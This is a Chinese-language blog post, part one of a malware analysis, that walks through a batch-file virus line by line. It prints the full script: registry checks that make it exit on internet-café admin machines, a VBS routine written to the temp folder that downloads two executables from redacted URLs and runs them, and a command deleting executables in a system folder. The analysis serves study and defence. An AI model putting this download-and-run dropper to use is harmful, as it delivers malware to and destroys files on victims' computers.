一个bat病毒分析(part1)
之前没学过bat,这里借分析顺便学一波,分析过程可能有点啰嗦
这里的@echo off关闭回显,病毒一般都是隐秘的执行的,然后setlocal enabledelayedexpansion是设置本地变量延迟,具体作用在这里:https://www.jb51.net/article/29323.htm
@echo off&setlocal enabledelayedexpansion
这里的三个命令都是查找计算机里的超级用户,/v表示查询注册表值,>nul 2>nul表示无论执行成功还是失败都不显示结果。然后如果找到了注册表里的值(存在某个超级用户),就跳转到相关的地方继续执行。
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\iCafe8 /v Admin>nul >nul&&call :is_admin_icafe
reg query HKEY_LOCAL_MACHINE\SOFTWARE\EYOOCLIENTSTATUS /v SuperLogin>nul >nul&&call :is_admin_eyoo
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet /v superadmin>nul >nul&&call :is_admin_yungengxin
这里就跳到了各个标志处继续执行,目的都是一样,其中/f是解析文本,读字符串用;"delims="以空格定界符号,%IsAdmin:~-1%是提取IsAmin的最后一个字符。三个语句都是检测是否存在超级用户,是就执行goto superadmin,执行结束,否则就执行goto :eof,等待其他输入。这里有个很奇怪的是,我去搜索了一下,一般都是网吧的管理系统才会有这个超级管理员的注册表值,这个病毒为什么自动躲避网吧????
:is_admin_icafe
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\icafe8 /v Admin') do (set IsAdmin=%%a)
if %IsAdmin:~-% == (goto superadmin)
goto :eof :is_admin_eyoo
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SOFTWARE\EYOOCLIENTSTATUS /v SuperLogin') do (set IsAdmin=%%a)
if %IsAdmin:~-% == (goto superadmin)
goto :eof :is_admin_yungengxin
for /f "delims=" %%a in ('reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet /v superadmin') do (set IsAdmin=%%a)
if %IsAdmin:~-% == (goto superadmin)
goto :eof :superadmin
exit


这里是下载两个exe到c盘下(网址抹掉了),然后删除c:\windows\system\下所有的exe,/q取消删除确认,然后执行结束
::Download one or more programs and run the programs
call :geticon http://xxxx/xx/zc005.exe C:\Windows\system\zc005.exe
call :geticon http://xxxx/xx/zjzc6.exe C:\Windows\system\zjzc6.exe
del c:\windows\system\*.exe /q
exit
我们看一下下载文件的地方,就是在temp临时目录生成一个vbs文件
:geticon url path
echo strFileURL="%1">%temp%\boot.vbs
echo strHDLocation="%2">>%temp%\boot.vbs
echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>>%temp%\boot.vbs
echo objXMLHTTP.open "GET", strFileURL, false>>%temp%\boot.vbs
echo objXMLHTTP.send()>>%temp%\boot.vbs
echo If objXMLHTTP.Status= Then>>%temp%\boot.vbs
echo Set objADOStream=CreateObject("ADODB.Stream")>>%temp%\boot.vbs
echo objADOStream.Open>>%temp%\boot.vbs
echo objADOStream.Type^=^>>%temp%\boot.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody>>%temp%\boot.vbs
echo objADOStream.Position^=^>>%temp%\boot.vbs
echo Set objFSO=Createobject("Scripting.FileSystemObject")>>%temp%\boot.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation>>%temp%\boot.vbs
echo Set objFSO=Nothing>>%temp%\boot.vbs
echo objADOStream.SaveToFile strHDLocation>>%temp%\boot.vbs
echo objADOStream.Close>>%temp%\boot.vbs
echo Set objADOStream=Nothing>>%temp%\boot.vbs
echo End if>>%temp%\boot.vbs
echo Set objXMLHTTP=Nothing>>%temp%\boot.vbs
cscript //nologo //e:vbscript %temp%/boot.vbs
del %temp%\boot.vbs /q
if exist % start "" %
goto :eof
这里就是vbs执行的流程
strFileURL=http://xxxx/xx/zc005.exe '目标URL
strHDLocation=C:\Windows\system\zc005.exe '存放地址
Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP") '创建一个MSXML2.XMLHTTP对象用来抓取网页数据
objXMLHTTP.open "GET", strFileURL, false 'get方式访问url获取响应信息
objXMLHTTP.send()
If objXMLHTTP.Status= Then '判断是否访问到页面
Set objADOStream=CreateObject("ADODB.Stream") 'ADODB.Stream用来数据传输
objADOStream.Open
objADOStream.Type^=^ '以二进制形式读取文件
objADOStream.Write objXMLHTTP.ResponseBody '数据写入对象,.ResponseBody:表示可以返回HTTP响应的几种形式之一
objADOStream.Position^=^ '指示开始读取的位置
Set objFSO=Createobject("Scripting.FileSystemObject") '创建Scripting.FileSystemObject
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation '检测是否存在目标目录,存在就删除文件
Set objFSO=Nothing
objADOStream.SaveToFile strHDLocation '写入到目标路径
objADOStream.Close
Set objADOStream=Nothing
End if
Set objXMLHTTP=Nothing
最后这里就是用cscript执行脚本下载那两个exe下来,然后删除vbs脚本,最后再检测到目标文件就运行exe
cscript //nologo //e:vbscript %temp%/boot.vbs
del %temp%\boot.vbs /q
if exist % start "" %
goto :eof
这就是那两个exe,不过目标网站已经被封了,这里感谢大佬发的样品,我们会在part2分析那两个exe

一个bat病毒分析(part1)的更多相关文章
- 【病毒分析】对一个vbs脚本病毒的分析
[病毒分析]对一个vbs脚本病毒的分析 本文来源:i春秋社区-分享你的技术,为安全加点温度 一.前言 病毒课老师丢给我们一份加密过的vbs脚本病毒的代码去尝试分析,这里把分析过程发出来,供大家参考,如 ...
- 一个简单的HTML病毒分析
一直就想写这篇东西了,仅仅是上班时说要上班,不写.回家后又忙着玩游戏,丢一边去了.如今仅仅好不务正业的开写了.希望头儿不会知道我的blog.哈哈 在非常久之前就对HTML的病毒非常感兴趣了,非常好奇怎 ...
- 用bat写的一个小病毒
最近看了一点bat的知识,具体说是看了一个博客:http://blog.csdn.net/qsyzb/article/details/17364581 用了三天才看完=.=,感觉作者整理整理可以把博客 ...
- 一个DDOS病毒的分析(二)
一.基本信息 样本名称:hra33.dll或者lpk.dll 样本大小: 66560 字节 文件类型:Win32的dll文件 病毒名称:Dropped:Generic.ServStart.A3D47B ...
- [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告
Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...
- 【转】用C写一个简单病毒
[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现. [Abstract] This paper introduce the charateristic of t ...
- 一份通过IPC$和lpk.dll感染方式的病毒分析报告
样本来自52pojie论坛,从事过两年渗透开始学病毒分析后看到IPC$真是再熟悉不过. 1.样本概况 1.1 样本信息 病毒名称:3601.exe MD5值:96043b8dcc7a977b16a28 ...
- 小技巧——病毒分析中关闭ASLR
原文来自:https://bbs.ichunqiu.com/thread-41359-1-1.html 病毒分析中关闭ASLR 分析病毒的时候,尽可能用自己比较熟悉的平台,这样可以大大地节省时间,像我 ...
- Virut.ce-感染型病毒分析报告
1.样本概况 病毒名称 Virus.Win32.Virut.ce MD5 6A500B42FC27CC5546079138370C492F 文件大小 131 KB (134,144 字节) 壳信息 无 ...
随机推荐
- Elasticsearch High Level Rest Client 发起请求的过程分析
本文讨论的是JAVA High Level Rest Client向ElasticSearch6.3.2发送请求(index操作.update.delete--)的一个详细过程的理解,主要涉及到Res ...
- 11招玩转黑客攻防——用Python,更安全
Python真是无所不能,学习Python,一个暑假就够了 !! 入门Python,从黑客入手最好玩.最简单 !! 今天就推荐一本书<11招玩转网络安全——用Python,更安全> 内网攻 ...
- JAVA进阶7
间歇性混吃等死,持续性踌躇满志系列-------------第7天 1.Map接口的常用方法 import java.util.HashMap; import java.util.Map; publi ...
- Problem B: Battle Royale(简单几何)
题目链接: B - Battle Royale Gym - 102021B 题目大意:给你两个坐标,表示起点和终点,然后给你两个圆,第一个圆包含两个圆,然后问你起点到终点的最短距离(不经过第二个圆 ...
- Python3 字符串与hex之间的相互转换
在字符串转换上,python2和python3是不同的,在查看一些python2的脚本时候,总是遇到字符串与hex之间之间的转换出现问题,记录一下解决方法. 1. 在Python2.7.x上,hex字 ...
- C语言之路-3-循环
1.while循环计算数字位数 #include<stdio.h> int main() { ; int x; printf("请输入数字:"); scanf(&quo ...
- Django之AJAX
一.预备知识JSON python中的json: json.dumps( ) json.loads( ) JavaScript中的json:JSON.stringify( ) J ...
- 【原创】大叔经验分享(21)yarn中查看每个应用实时占用的内存和cpu资源
在yarn中的application详情页面 http://resourcemanager/cluster/app/$applicationId 或者通过application命令 yarn appl ...
- 【原创】大叔经验分享(1)在yarn上查看hive完整执行sql
hive执行sql提交到yarn上的任务名字是被处理过的,通常只能显示sql的前边一段和最后几个字符,这样就会带来一些问题: 1)相近时间提交了几个相近的sql,相互之间无法区分: 2)一个任务有问题 ...
- 【转载】IIS出现“HTTP 错误 500.0,C:\php\php-cgi.exe - FastCGI 进程意外退出”解决方法
昨天给大家介绍了在windows+iis的平台上搭建支持php+mysql平台的文章,教程步骤都是笔者一步一个操作然后一个记录介绍给大家的,实机演练,教程绝对切实可用,但是不同的同学在不同的环境下按照 ...